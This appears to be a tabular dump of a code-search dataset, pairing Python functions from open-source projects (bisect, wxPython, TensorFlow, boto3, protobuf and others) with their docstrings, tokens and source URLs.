nwo
stringlengths
5
86
sha
stringlengths
40
40
path
stringlengths
4
189
language
stringclasses
1 value
identifier
stringlengths
1
94
parameters
stringlengths
2
4.03k
argument_list
stringclasses
1 value
return_statement
stringlengths
0
11.5k
docstring
stringlengths
1
33.2k
docstring_summary
stringlengths
0
5.15k
docstring_tokens
list
function
stringlengths
34
151k
function_tokens
list
url
stringlengths
90
278
catboost/catboost
167f64f237114a4d10b2b4ee42adb4569137debe
contrib/tools/python3/src/Lib/bisect.py
python
bisect_right
(a, x, lo=0, hi=None)
return lo
Return the index where to insert item x in list a, assuming a is sorted. The return value i is such that all e in a[:i] have e <= x, and all e in a[i:] have e > x. So if x already appears in the list, a.insert(x) will insert just after the rightmost x already there. Optional args lo (default 0) and h...
Return the index where to insert item x in list a, assuming a is sorted.
[ "Return", "the", "index", "where", "to", "insert", "item", "x", "in", "list", "a", "assuming", "a", "is", "sorted", "." ]
def bisect_right(a, x, lo=0, hi=None): """Return the index where to insert item x in list a, assuming a is sorted. The return value i is such that all e in a[:i] have e <= x, and all e in a[i:] have e > x. So if x already appears in the list, a.insert(x) will insert just after the rightmost x already ...
[ "def", "bisect_right", "(", "a", ",", "x", ",", "lo", "=", "0", ",", "hi", "=", "None", ")", ":", "if", "lo", "<", "0", ":", "raise", "ValueError", "(", "'lo must be non-negative'", ")", "if", "hi", "is", "None", ":", "hi", "=", "len", "(", "a", ...
https://github.com/catboost/catboost/blob/167f64f237114a4d10b2b4ee42adb4569137debe/contrib/tools/python3/src/Lib/bisect.py#L15-L35
wxWidgets/wxPython-Classic
19571e1ae65f1ac445f5491474121998c97a1bf0
src/msw/xrc.py
python
XmlNode.GetParent
(*args, **kwargs)
return _xrc.XmlNode_GetParent(*args, **kwargs)
GetParent(self) -> XmlNode
GetParent(self) -> XmlNode
[ "GetParent", "(", "self", ")", "-", ">", "XmlNode" ]
def GetParent(*args, **kwargs): """GetParent(self) -> XmlNode""" return _xrc.XmlNode_GetParent(*args, **kwargs)
[ "def", "GetParent", "(", "*", "args", ",", "*", "*", "kwargs", ")", ":", "return", "_xrc", ".", "XmlNode_GetParent", "(", "*", "args", ",", "*", "*", "kwargs", ")" ]
https://github.com/wxWidgets/wxPython-Classic/blob/19571e1ae65f1ac445f5491474121998c97a1bf0/src/msw/xrc.py#L410-L412
wxWidgets/wxPython-Classic
19571e1ae65f1ac445f5491474121998c97a1bf0
src/osx_cocoa/richtext.py
python
RichTextRange.__init__
(self, *args, **kwargs)
__init__(self, long start=0, long end=0) -> RichTextRange Creates a new range object.
__init__(self, long start=0, long end=0) -> RichTextRange
[ "__init__", "(", "self", "long", "start", "=", "0", "long", "end", "=", "0", ")", "-", ">", "RichTextRange" ]
def __init__(self, *args, **kwargs): """ __init__(self, long start=0, long end=0) -> RichTextRange Creates a new range object. """ _richtext.RichTextRange_swiginit(self,_richtext.new_RichTextRange(*args, **kwargs))
[ "def", "__init__", "(", "self", ",", "*", "args", ",", "*", "*", "kwargs", ")", ":", "_richtext", ".", "RichTextRange_swiginit", "(", "self", ",", "_richtext", ".", "new_RichTextRange", "(", "*", "args", ",", "*", "*", "kwargs", ")", ")" ]
https://github.com/wxWidgets/wxPython-Classic/blob/19571e1ae65f1ac445f5491474121998c97a1bf0/src/osx_cocoa/richtext.py#L940-L946
benoitsteiner/tensorflow-opencl
cb7cb40a57fde5cfd4731bc551e82a1e2fef43a5
tensorflow/contrib/layers/python/layers/utils.py
python
n_positive_integers
(n, value)
return (value,) * n
Converts `value` to a sequence of `n` positive integers. `value` may be either be a sequence of values convertible to `int`, or a single value convertible to `int`, in which case the resulting integer is duplicated `n` times. It may also be a TensorShape of rank `n`. Args: n: Length of sequence to return...
Converts `value` to a sequence of `n` positive integers.
[ "Converts", "value", "to", "a", "sequence", "of", "n", "positive", "integers", "." ]
def n_positive_integers(n, value): """Converts `value` to a sequence of `n` positive integers. `value` may be either be a sequence of values convertible to `int`, or a single value convertible to `int`, in which case the resulting integer is duplicated `n` times. It may also be a TensorShape of rank `n`. A...
[ "def", "n_positive_integers", "(", "n", ",", "value", ")", ":", "n_orig", "=", "n", "n", "=", "int", "(", "n", ")", "if", "n", "<", "1", "or", "n", "!=", "n_orig", ":", "raise", "ValueError", "(", "'n must be a positive integer'", ")", "try", ":", "v...
https://github.com/benoitsteiner/tensorflow-opencl/blob/cb7cb40a57fde5cfd4731bc551e82a1e2fef43a5/tensorflow/contrib/layers/python/layers/utils.py#L323-L369
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Tools/Python/3.7.10/linux_x64/lib/python3.7/tkinter/tix.py
python
TixWidget.subwidgets_all
(self)
return retlist
Return all subwidgets.
Return all subwidgets.
[ "Return", "all", "subwidgets", "." ]
def subwidgets_all(self): """Return all subwidgets.""" names = self._subwidget_names() if not names: return [] retlist = [] for name in names: name = name[len(self._w)+1:] try: retlist.append(self._nametowidget(name)) ...
[ "def", "subwidgets_all", "(", "self", ")", ":", "names", "=", "self", ".", "_subwidget_names", "(", ")", "if", "not", "names", ":", "return", "[", "]", "retlist", "=", "[", "]", "for", "name", "in", "names", ":", "name", "=", "name", "[", "len", "(...
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Tools/Python/3.7.10/linux_x64/lib/python3.7/tkinter/tix.py#L346-L359
catboost/catboost
167f64f237114a4d10b2b4ee42adb4569137debe
contrib/tools/python3/src/Lib/distutils/sysconfig.py
python
get_config_var
(name)
return get_config_vars().get(name)
Return the value of a single variable using the dictionary returned by 'get_config_vars()'. Equivalent to get_config_vars().get(name)
Return the value of a single variable using the dictionary returned by 'get_config_vars()'. Equivalent to get_config_vars().get(name)
[ "Return", "the", "value", "of", "a", "single", "variable", "using", "the", "dictionary", "returned", "by", "get_config_vars", "()", ".", "Equivalent", "to", "get_config_vars", "()", ".", "get", "(", "name", ")" ]
def get_config_var(name): """Return the value of a single variable using the dictionary returned by 'get_config_vars()'. Equivalent to get_config_vars().get(name) """ if name == 'SO': import warnings warnings.warn('SO is deprecated, use EXT_SUFFIX', DeprecationWarning, 2) return...
[ "def", "get_config_var", "(", "name", ")", ":", "if", "name", "==", "'SO'", ":", "import", "warnings", "warnings", ".", "warn", "(", "'SO is deprecated, use EXT_SUFFIX'", ",", "DeprecationWarning", ",", "2", ")", "return", "get_config_vars", "(", ")", ".", "ge...
https://github.com/catboost/catboost/blob/167f64f237114a4d10b2b4ee42adb4569137debe/contrib/tools/python3/src/Lib/distutils/sysconfig.py#L547-L555
mantidproject/mantid
03deeb89254ec4289edb8771e0188c2090a02f32
qt/python/mantidqtinterfaces/mantidqtinterfaces/Muon/GUI/Common/fitting_widgets/tf_asymmetry_fitting/tf_asymmetry_fitting_model.py
python
TFAsymmetryFittingModel._get_normalisation_from_tf_asymmetry_simultaneous_function
(self, tf_simultaneous_function: IFunction, domain_index: int)
Returns the normalisation in the specified domain of the TF Asymmetry simultaneous fit function.
Returns the normalisation in the specified domain of the TF Asymmetry simultaneous fit function.
[ "Returns", "the", "normalisation", "in", "the", "specified", "domain", "of", "the", "TF", "Asymmetry", "simultaneous", "fit", "function", "." ]
def _get_normalisation_from_tf_asymmetry_simultaneous_function(self, tf_simultaneous_function: IFunction, domain_index: int) -> float: """Returns the normalisation in the specified domain of the TF Asymmetry simultaneous fit function.""" ...
[ "def", "_get_normalisation_from_tf_asymmetry_simultaneous_function", "(", "self", ",", "tf_simultaneous_function", ":", "IFunction", ",", "domain_index", ":", "int", ")", "->", "float", ":", "number_of_datasets", "=", "self", ".", "fitting_context", ".", "number_of_datase...
https://github.com/mantidproject/mantid/blob/03deeb89254ec4289edb8771e0188c2090a02f32/qt/python/mantidqtinterfaces/mantidqtinterfaces/Muon/GUI/Common/fitting_widgets/tf_asymmetry_fitting/tf_asymmetry_fitting_model.py#L475-L486
Xilinx/Vitis-AI
fc74d404563d9951b57245443c73bef389f3657f
tools/Vitis-AI-Quantizer/vai_q_tensorflow1.x/tensorflow/python/debug/cli/analyzer_cli.py
python
DebugAnalyzer.list_inputs
(self, args, screen_info=None)
return output
Command handler for inputs. Show inputs to a given node. Args: args: Command-line arguments, excluding the command prefix, as a list of str. screen_info: Optional dict input containing screen information such as cols. Returns: Output text lines as a RichTextLines object.
Command handler for inputs.
[ "Command", "handler", "for", "inputs", "." ]
def list_inputs(self, args, screen_info=None): """Command handler for inputs. Show inputs to a given node. Args: args: Command-line arguments, excluding the command prefix, as a list of str. screen_info: Optional dict input containing screen information such as cols. Retur...
[ "def", "list_inputs", "(", "self", ",", "args", ",", "screen_info", "=", "None", ")", ":", "# Screen info not currently used by this handler. Include this line to", "# mute pylint.", "_", "=", "screen_info", "# TODO(cais): Use screen info to format the output lines more prettily,",...
https://github.com/Xilinx/Vitis-AI/blob/fc74d404563d9951b57245443c73bef389f3657f/tools/Vitis-AI-Quantizer/vai_q_tensorflow1.x/tensorflow/python/debug/cli/analyzer_cli.py#L874-L908
wlanjie/AndroidFFmpeg
7baf9122f4b8e1c74e7baf4be5c422c7a5ba5aaf
tools/fdk-aac-build/armeabi/toolchain/lib/python2.7/ctypes/macholib/dyld.py
python
ensure_utf8
(s)
return s
Not all of PyObjC and Python understand unicode paths very well yet
Not all of PyObjC and Python understand unicode paths very well yet
[ "Not", "all", "of", "PyObjC", "and", "Python", "understand", "unicode", "paths", "very", "well", "yet" ]
def ensure_utf8(s): """Not all of PyObjC and Python understand unicode paths very well yet""" if isinstance(s, unicode): return s.encode('utf8') return s
[ "def", "ensure_utf8", "(", "s", ")", ":", "if", "isinstance", "(", "s", ",", "unicode", ")", ":", "return", "s", ".", "encode", "(", "'utf8'", ")", "return", "s" ]
https://github.com/wlanjie/AndroidFFmpeg/blob/7baf9122f4b8e1c74e7baf4be5c422c7a5ba5aaf/tools/fdk-aac-build/armeabi/toolchain/lib/python2.7/ctypes/macholib/dyld.py#L34-L38
wxWidgets/wxPython-Classic
19571e1ae65f1ac445f5491474121998c97a1bf0
src/gtk/_misc.py
python
DateTime.__add__
(*args)
return _misc_.DateTime___add__(*args)
__add__(self, TimeSpan other) -> DateTime __add__(self, DateSpan other) -> DateTime
__add__(self, TimeSpan other) -> DateTime __add__(self, DateSpan other) -> DateTime
[ "__add__", "(", "self", "TimeSpan", "other", ")", "-", ">", "DateTime", "__add__", "(", "self", "DateSpan", "other", ")", "-", ">", "DateTime" ]
def __add__(*args): """ __add__(self, TimeSpan other) -> DateTime __add__(self, DateSpan other) -> DateTime """ return _misc_.DateTime___add__(*args)
[ "def", "__add__", "(", "*", "args", ")", ":", "return", "_misc_", ".", "DateTime___add__", "(", "*", "args", ")" ]
https://github.com/wxWidgets/wxPython-Classic/blob/19571e1ae65f1ac445f5491474121998c97a1bf0/src/gtk/_misc.py#L4091-L4096
wxWidgets/wxPython-Classic
19571e1ae65f1ac445f5491474121998c97a1bf0
demo/Validator.py
python
TextObjectValidator.Validate
(self, win)
Validate the contents of the given text control.
Validate the contents of the given text control.
[ "Validate", "the", "contents", "of", "the", "given", "text", "control", "." ]
def Validate(self, win): """ Validate the contents of the given text control. """ textCtrl = self.GetWindow() text = textCtrl.GetValue() if len(text) == 0: wx.MessageBox("A text object must contain some text!", "Error") textCtrl.SetBackgroundColour("pink"...
[ "def", "Validate", "(", "self", ",", "win", ")", ":", "textCtrl", "=", "self", ".", "GetWindow", "(", ")", "text", "=", "textCtrl", ".", "GetValue", "(", ")", "if", "len", "(", "text", ")", "==", "0", ":", "wx", ".", "MessageBox", "(", "\"A text ob...
https://github.com/wxWidgets/wxPython-Classic/blob/19571e1ae65f1ac445f5491474121998c97a1bf0/demo/Validator.py#L124-L140
OSGeo/gdal
3748fc4ba4fba727492774b2b908a2130c864a83
swig/python/osgeo/gdal.py
python
DirEntry.IsDirectory
(self, *args)
return _gdal.DirEntry_IsDirectory(self, *args)
r"""IsDirectory(DirEntry self) -> bool
r"""IsDirectory(DirEntry self) -> bool
[ "r", "IsDirectory", "(", "DirEntry", "self", ")", "-", ">", "bool" ]
def IsDirectory(self, *args): r"""IsDirectory(DirEntry self) -> bool""" return _gdal.DirEntry_IsDirectory(self, *args)
[ "def", "IsDirectory", "(", "self", ",", "*", "args", ")", ":", "return", "_gdal", ".", "DirEntry_IsDirectory", "(", "self", ",", "*", "args", ")" ]
https://github.com/OSGeo/gdal/blob/3748fc4ba4fba727492774b2b908a2130c864a83/swig/python/osgeo/gdal.py#L1624-L1626
hughperkins/tf-coriander
970d3df6c11400ad68405f22b0c42a52374e94ca
tensorflow/contrib/distributions/python/ops/uniform.py
python
Uniform.__init__
(self, a=0., b=1., validate_args=False, allow_nan_stats=True, name="Uniform")
Construct Uniform distributions with `a` and `b`. The parameters `a` and `b` must be shaped in a way that supports broadcasting (e.g. `b - a` is a valid operation). Here are examples without broadcasting: ```python # Without broadcasting u1 = Uniform(3.0, 4.0) # a single uniform distribution...
Construct Uniform distributions with `a` and `b`.
[ "Construct", "Uniform", "distributions", "with", "a", "and", "b", "." ]
def __init__(self, a=0., b=1., validate_args=False, allow_nan_stats=True, name="Uniform"): """Construct Uniform distributions with `a` and `b`. The parameters `a` and `b` must be shaped in a way that supports broadcasting (e.g. `b -...
[ "def", "__init__", "(", "self", ",", "a", "=", "0.", ",", "b", "=", "1.", ",", "validate_args", "=", "False", ",", "allow_nan_stats", "=", "True", ",", "name", "=", "\"Uniform\"", ")", ":", "with", "ops", ".", "name_scope", "(", "name", ",", "values"...
https://github.com/hughperkins/tf-coriander/blob/970d3df6c11400ad68405f22b0c42a52374e94ca/tensorflow/contrib/distributions/python/ops/uniform.py#L42-L102
microsoft/LightGBM
904b2d5158703c4900b68008617951dd2f9ff21b
.ci/get_workflow_status.py
python
get_status
(runs)
return status
Get the most recent status of workflow for the current PR. Parameters ---------- runs : list List of comment objects sorted by the time of creation in decreasing order. Returns ------- status : str The most recent status of workflow. Can be 'success', 'failure' or 'in-p...
Get the most recent status of workflow for the current PR.
[ "Get", "the", "most", "recent", "status", "of", "workflow", "for", "the", "current", "PR", "." ]
def get_status(runs): """Get the most recent status of workflow for the current PR. Parameters ---------- runs : list List of comment objects sorted by the time of creation in decreasing order. Returns ------- status : str The most recent status of workflow. Can be ...
[ "def", "get_status", "(", "runs", ")", ":", "status", "=", "'success'", "for", "run", "in", "runs", ":", "body", "=", "run", "[", "'body'", "]", "if", "\"Status: \"", "in", "body", ":", "if", "\"Status: skipped\"", "in", "body", ":", "continue", "if", ...
https://github.com/microsoft/LightGBM/blob/904b2d5158703c4900b68008617951dd2f9ff21b/.ci/get_workflow_status.py#L59-L88
ChromiumWebApps/chromium
c7361d39be8abd1574e6ce8957c8dbddd4c6ccf7
tools/symsrc/pefile.py
python
Structure.all_zeroes
(self)
return self._all_zeroes
Returns true is the unpacked data is all zeroes.
Returns true is the unpacked data is all zeroes.
[ "Returns", "true", "is", "the", "unpacked", "data", "is", "all", "zeroes", "." ]
def all_zeroes(self): """Returns true is the unpacked data is all zeroes.""" return self._all_zeroes
[ "def", "all_zeroes", "(", "self", ")", ":", "return", "self", ".", "_all_zeroes" ]
https://github.com/ChromiumWebApps/chromium/blob/c7361d39be8abd1574e6ce8957c8dbddd4c6ccf7/tools/symsrc/pefile.py#L697-L700
pirobot/rbx2
2a6544799fcf062e7b6bd5cf2981b2a84c0c7d2a
rbx2_utils/src/rbx2_utils/srv/_LaunchProcess.py
python
LaunchProcessResponse.deserialize_numpy
(self, str, numpy)
unpack serialized message in str into this message instance using numpy for array types :param str: byte array of serialized message, ``str`` :param numpy: numpy python module
unpack serialized message in str into this message instance using numpy for array types :param str: byte array of serialized message, ``str`` :param numpy: numpy python module
[ "unpack", "serialized", "message", "in", "str", "into", "this", "message", "instance", "using", "numpy", "for", "array", "types", ":", "param", "str", ":", "byte", "array", "of", "serialized", "message", "str", ":", "param", "numpy", ":", "numpy", "python", ...
def deserialize_numpy(self, str, numpy): """ unpack serialized message in str into this message instance using numpy for array types :param str: byte array of serialized message, ``str`` :param numpy: numpy python module """ try: end = 0 start = end end += 4 (length,) = _...
[ "def", "deserialize_numpy", "(", "self", ",", "str", ",", "numpy", ")", ":", "try", ":", "end", "=", "0", "start", "=", "end", "end", "+=", "4", "(", "length", ",", ")", "=", "_struct_I", ".", "unpack", "(", "str", "[", "start", ":", "end", "]", ...
https://github.com/pirobot/rbx2/blob/2a6544799fcf062e7b6bd5cf2981b2a84c0c7d2a/rbx2_utils/src/rbx2_utils/srv/_LaunchProcess.py#L218-L237
BSVino/DoubleAction
c550b168a3e919926c198c30240f506538b92e75
mp/src/thirdparty/protobuf-2.3.0/python/google/protobuf/internal/containers.py
python
BaseContainer.__len__
(self)
return len(self._values)
Returns the number of elements in the container.
Returns the number of elements in the container.
[ "Returns", "the", "number", "of", "elements", "in", "the", "container", "." ]
def __len__(self): """Returns the number of elements in the container.""" return len(self._values)
[ "def", "__len__", "(", "self", ")", ":", "return", "len", "(", "self", ".", "_values", ")" ]
https://github.com/BSVino/DoubleAction/blob/c550b168a3e919926c198c30240f506538b92e75/mp/src/thirdparty/protobuf-2.3.0/python/google/protobuf/internal/containers.py#L66-L68
bigtreetech/BIGTREETECH-SKR-V1.3
b238aa402753e81d551b7d34a181a262a138ae9e
BTT SKR V1.3/firmware/Marlin-2.0.x/buildroot/share/scripts/createTemperatureLookupMarlin.py
python
Thermistor.voltage
(self, adc)
return adc * VSTEP
Convert ADC reading into a Voltage
Convert ADC reading into a Voltage
[ "Convert", "ADC", "reading", "into", "a", "Voltage" ]
def voltage(self, adc): "Convert ADC reading into a Voltage" return adc * VSTEP
[ "def", "voltage", "(", "self", ",", "adc", ")", ":", "return", "adc", "*", "VSTEP" ]
https://github.com/bigtreetech/BIGTREETECH-SKR-V1.3/blob/b238aa402753e81d551b7d34a181a262a138ae9e/BTT SKR V1.3/firmware/Marlin-2.0.x/buildroot/share/scripts/createTemperatureLookupMarlin.py#L67-L69
PX4/PX4-Autopilot
0b9f60a0370be53d683352c63fd92db3d6586e18
Tools/px4moduledoc/srcparser.py
python
ModuleDocumentation.__init__
(self, function_calls, scope)
:param function_calls: list of tuples (function_name, [str(arg)])
:param function_calls: list of tuples (function_name, [str(arg)])
[ ":", "param", "function_calls", ":", "list", "of", "tuples", "(", "function_name", "[", "str", "(", "arg", ")", "]", ")" ]
def __init__(self, function_calls, scope): """ :param function_calls: list of tuples (function_name, [str(arg)]) """ self._name = '' self._category = '' self._subcategory = '' self._doc_string = '' self._usage_string = '' self._first_command = True...
[ "def", "__init__", "(", "self", ",", "function_calls", ",", "scope", ")", ":", "self", ".", "_name", "=", "''", "self", ".", "_category", "=", "''", "self", ".", "_subcategory", "=", "''", "self", ".", "_doc_string", "=", "''", "self", ".", "_usage_str...
https://github.com/PX4/PX4-Autopilot/blob/0b9f60a0370be53d683352c63fd92db3d6586e18/Tools/px4moduledoc/srcparser.py#L23-L50
SpenceKonde/megaTinyCore
1c4a70b18a149fe6bcb551dfa6db11ca50b8997b
megaavr/tools/libs/serial/urlhandler/protocol_socket.py
python
Serial.send_break
(self, duration=0.25)
\ Send break condition. Timed, returns to idle state after given duration.
\ Send break condition. Timed, returns to idle state after given duration.
[ "\\", "Send", "break", "condition", ".", "Timed", "returns", "to", "idle", "state", "after", "given", "duration", "." ]
def send_break(self, duration=0.25): """\ Send break condition. Timed, returns to idle state after given duration. """ if not self.is_open: raise portNotOpenError if self.logger: self.logger.info('ignored send_break({!r})'.format(duration))
[ "def", "send_break", "(", "self", ",", "duration", "=", "0.25", ")", ":", "if", "not", "self", ".", "is_open", ":", "raise", "portNotOpenError", "if", "self", ".", "logger", ":", "self", ".", "logger", ".", "info", "(", "'ignored send_break({!r})'", ".", ...
https://github.com/SpenceKonde/megaTinyCore/blob/1c4a70b18a149fe6bcb551dfa6db11ca50b8997b/megaavr/tools/libs/serial/urlhandler/protocol_socket.py#L274-L282
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Tools/Python/3.7.10/mac/Python.framework/Versions/3.7/lib/python3.7/site-packages/pip/_vendor/requests/cookies.py
python
RequestsCookieJar._find
(self, name, domain=None, path=None)
Requests uses this method internally to get cookie values. If there are conflicting cookies, _find arbitrarily chooses one. See _find_no_duplicates if you want an exception thrown if there are conflicting cookies. :param name: a string containing name of cookie :param domain: (...
Requests uses this method internally to get cookie values.
[ "Requests", "uses", "this", "method", "internally", "to", "get", "cookie", "values", "." ]
def _find(self, name, domain=None, path=None): """Requests uses this method internally to get cookie values. If there are conflicting cookies, _find arbitrarily chooses one. See _find_no_duplicates if you want an exception thrown if there are conflicting cookies. :param name: a...
[ "def", "_find", "(", "self", ",", "name", ",", "domain", "=", "None", ",", "path", "=", "None", ")", ":", "for", "cookie", "in", "iter", "(", "self", ")", ":", "if", "cookie", ".", "name", "==", "name", ":", "if", "domain", "is", "None", "or", ...
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Tools/Python/3.7.10/mac/Python.framework/Versions/3.7/lib/python3.7/site-packages/pip/_vendor/requests/cookies.py#L356-L374
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Tools/Python/3.7.10/mac/Python.framework/Versions/3.7/share/doc/python3.7/examples/Tools/gdb/libpython.py
python
PyObjectPtr.field
(self, name)
return self._gdbval.dereference()[name]
Get the gdb.Value for the given field within the PyObject, coping with some python 2 versus python 3 differences. Various libpython types are defined using the "PyObject_HEAD" and "PyObject_VAR_HEAD" macros. In Python 2, this these are defined so that "ob_type" and (for a var o...
Get the gdb.Value for the given field within the PyObject, coping with some python 2 versus python 3 differences.
[ "Get", "the", "gdb", ".", "Value", "for", "the", "given", "field", "within", "the", "PyObject", "coping", "with", "some", "python", "2", "versus", "python", "3", "differences", "." ]
def field(self, name): ''' Get the gdb.Value for the given field within the PyObject, coping with some python 2 versus python 3 differences. Various libpython types are defined using the "PyObject_HEAD" and "PyObject_VAR_HEAD" macros. In Python 2, this these are defined...
[ "def", "field", "(", "self", ",", "name", ")", ":", "if", "self", ".", "is_null", "(", ")", ":", "raise", "NullPyObjectPtr", "(", "self", ")", "if", "name", "==", "'ob_type'", ":", "pyo_ptr", "=", "self", ".", "_gdbval", ".", "cast", "(", "PyObjectPt...
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Tools/Python/3.7.10/mac/Python.framework/Versions/3.7/share/doc/python3.7/examples/Tools/gdb/libpython.py#L195-L223
wxWidgets/wxPython-Classic
19571e1ae65f1ac445f5491474121998c97a1bf0
src/msw/propgrid.py
python
PropertyGridInterface.SortChildren
(*args, **kwargs)
return _propgrid.PropertyGridInterface_SortChildren(*args, **kwargs)
SortChildren(self, PGPropArg id, int flags=0)
SortChildren(self, PGPropArg id, int flags=0)
[ "SortChildren", "(", "self", "PGPropArg", "id", "int", "flags", "=", "0", ")" ]
def SortChildren(*args, **kwargs): """SortChildren(self, PGPropArg id, int flags=0)""" return _propgrid.PropertyGridInterface_SortChildren(*args, **kwargs)
[ "def", "SortChildren", "(", "*", "args", ",", "*", "*", "kwargs", ")", ":", "return", "_propgrid", ".", "PropertyGridInterface_SortChildren", "(", "*", "args", ",", "*", "*", "kwargs", ")" ]
https://github.com/wxWidgets/wxPython-Classic/blob/19571e1ae65f1ac445f5491474121998c97a1bf0/src/msw/propgrid.py#L1465-L1467
catboost/catboost
167f64f237114a4d10b2b4ee42adb4569137debe
contrib/python/ipython/py2/IPython/core/extensions.py
python
ExtensionManager.unload_extension
(self, module_str)
Unload an IPython extension by its module name. This function looks up the extension's name in ``sys.modules`` and simply calls ``mod.unload_ipython_extension(self)``. Returns the string "no unload function" if the extension doesn't define a function to unload itself, "not load...
Unload an IPython extension by its module name.
[ "Unload", "an", "IPython", "extension", "by", "its", "module", "name", "." ]
def unload_extension(self, module_str): """Unload an IPython extension by its module name. This function looks up the extension's name in ``sys.modules`` and simply calls ``mod.unload_ipython_extension(self)``. Returns the string "no unload function" if the extension doesn't de...
[ "def", "unload_extension", "(", "self", ",", "module_str", ")", ":", "if", "module_str", "not", "in", "self", ".", "loaded", ":", "return", "\"not loaded\"", "if", "module_str", "in", "sys", ".", "modules", ":", "mod", "=", "sys", ".", "modules", "[", "m...
https://github.com/catboost/catboost/blob/167f64f237114a4d10b2b4ee42adb4569137debe/contrib/python/ipython/py2/IPython/core/extensions.py#L90-L108
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Tools/Python/3.7.10/linux_x64/lib/python3.7/site-packages/boto3/docs/service.py
python
ServiceDocumenter.document_service
(self)
return doc_structure.flush_structure()
Documents an entire service. :returns: The reStructured text of the documented service.
Documents an entire service.
[ "Documents", "an", "entire", "service", "." ]
def document_service(self): """Documents an entire service. :returns: The reStructured text of the documented service. """ doc_structure = DocumentStructure( self._service_name, section_names=self.sections, target='html') self.title(doc_structure.get_sect...
[ "def", "document_service", "(", "self", ")", ":", "doc_structure", "=", "DocumentStructure", "(", "self", ".", "_service_name", ",", "section_names", "=", "self", ".", "sections", ",", "target", "=", "'html'", ")", "self", ".", "title", "(", "doc_structure", ...
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Tools/Python/3.7.10/linux_x64/lib/python3.7/site-packages/boto3/docs/service.py#L53-L72
catboost/catboost
167f64f237114a4d10b2b4ee42adb4569137debe
contrib/python/numpy/py2/numpy/distutils/fcompiler/__init__.py
python
get_f77flags
(src)
return flags
Search the first 20 lines of fortran 77 code for line pattern `CF77FLAGS(<fcompiler type>)=<f77 flags>` Return a dictionary {<fcompiler type>:<f77 flags>}.
Search the first 20 lines of fortran 77 code for line pattern `CF77FLAGS(<fcompiler type>)=<f77 flags>` Return a dictionary {<fcompiler type>:<f77 flags>}.
[ "Search", "the", "first", "20", "lines", "of", "fortran", "77", "code", "for", "line", "pattern", "CF77FLAGS", "(", "<fcompiler", "type", ">", ")", "=", "<f77", "flags", ">", "Return", "a", "dictionary", "{", "<fcompiler", "type", ">", ":", "<f77", "flag...
def get_f77flags(src): """ Search the first 20 lines of fortran 77 code for line pattern `CF77FLAGS(<fcompiler type>)=<f77 flags>` Return a dictionary {<fcompiler type>:<f77 flags>}. """ flags = {} f = open_latin1(src, 'r') i = 0 for line in f: i += 1 if i>20: break...
[ "def", "get_f77flags", "(", "src", ")", ":", "flags", "=", "{", "}", "f", "=", "open_latin1", "(", "src", ",", "'r'", ")", "i", "=", "0", "for", "line", "in", "f", ":", "i", "+=", "1", "if", "i", ">", "20", ":", "break", "m", "=", "_f77flags_...
https://github.com/catboost/catboost/blob/167f64f237114a4d10b2b4ee42adb4569137debe/contrib/python/numpy/py2/numpy/distutils/fcompiler/__init__.py#L1009-L1027
BlzFans/wke
b0fa21158312e40c5fbd84682d643022b6c34a93
cygwin/lib/python2.6/linecache.py
python
clearcache
()
Clear the cache entirely.
Clear the cache entirely.
[ "Clear", "the", "cache", "entirely", "." ]
def clearcache(): """Clear the cache entirely.""" global cache cache = {}
[ "def", "clearcache", "(", ")", ":", "global", "cache", "cache", "=", "{", "}" ]
https://github.com/BlzFans/wke/blob/b0fa21158312e40c5fbd84682d643022b6c34a93/cygwin/lib/python2.6/linecache.py#L26-L30
Xilinx/Vitis-AI
fc74d404563d9951b57245443c73bef389f3657f
tools/Vitis-AI-Quantizer/vai_q_tensorflow1.x/tensorflow/contrib/timeseries/python/timeseries/input_pipeline.py
python
CSVReader._process_records
(self, lines)
return features
Parse `lines` as CSV records.
Parse `lines` as CSV records.
[ "Parse", "lines", "as", "CSV", "records", "." ]
def _process_records(self, lines): """Parse `lines` as CSV records.""" if self._column_dtypes is None: default_values = [(array_ops.zeros([], dtypes.int64),) if column_name == feature_keys.TrainEvalFeatures.TIMES else () for column_name in self._column_names...
[ "def", "_process_records", "(", "self", ",", "lines", ")", ":", "if", "self", ".", "_column_dtypes", "is", "None", ":", "default_values", "=", "[", "(", "array_ops", ".", "zeros", "(", "[", "]", ",", "dtypes", ".", "int64", ")", ",", ")", "if", "colu...
https://github.com/Xilinx/Vitis-AI/blob/fc74d404563d9951b57245443c73bef389f3657f/tools/Vitis-AI-Quantizer/vai_q_tensorflow1.x/tensorflow/contrib/timeseries/python/timeseries/input_pipeline.py#L493-L513
google/clif
cab24d6a105609a65c95a36a1712ae3c20c7b5df
clif/python/slots.py
python
GenRichCompare
(rcslots)
Generate tp_richcmp slot implementation. Args: rcslots: {'Py_LT': '__lt__ wrap function name'} Yields: C++ source
Generate tp_richcmp slot implementation.
[ "Generate", "tp_richcmp", "slot", "implementation", "." ]
def GenRichCompare(rcslots): """Generate tp_richcmp slot implementation. Args: rcslots: {'Py_LT': '__lt__ wrap function name'} Yields: C++ source """ yield '' yield 'PyObject* slot_richcmp(PyObject* self, PyObject* other, int op) {' yield I+'switch (op) {' for op_func in sorted(rcslots.items())...
[ "def", "GenRichCompare", "(", "rcslots", ")", ":", "yield", "''", "yield", "'PyObject* slot_richcmp(PyObject* self, PyObject* other, int op) {'", "yield", "I", "+", "'switch (op) {'", "for", "op_func", "in", "sorted", "(", "rcslots", ".", "items", "(", ")", ")", ":"...
https://github.com/google/clif/blob/cab24d6a105609a65c95a36a1712ae3c20c7b5df/clif/python/slots.py#L101-L116
mingchen/protobuf-ios
0958df34558cd54cb7b6e6ca5c8855bf3d475046
compiler/python/google/protobuf/reflection.py
python
_AddPropertiesForFields
(descriptor, cls)
Adds properties for all fields in this protocol message type.
Adds properties for all fields in this protocol message type.
[ "Adds", "properties", "for", "all", "fields", "in", "this", "protocol", "message", "type", "." ]
def _AddPropertiesForFields(descriptor, cls): """Adds properties for all fields in this protocol message type.""" for field in descriptor.fields: _AddPropertiesForField(field, cls)
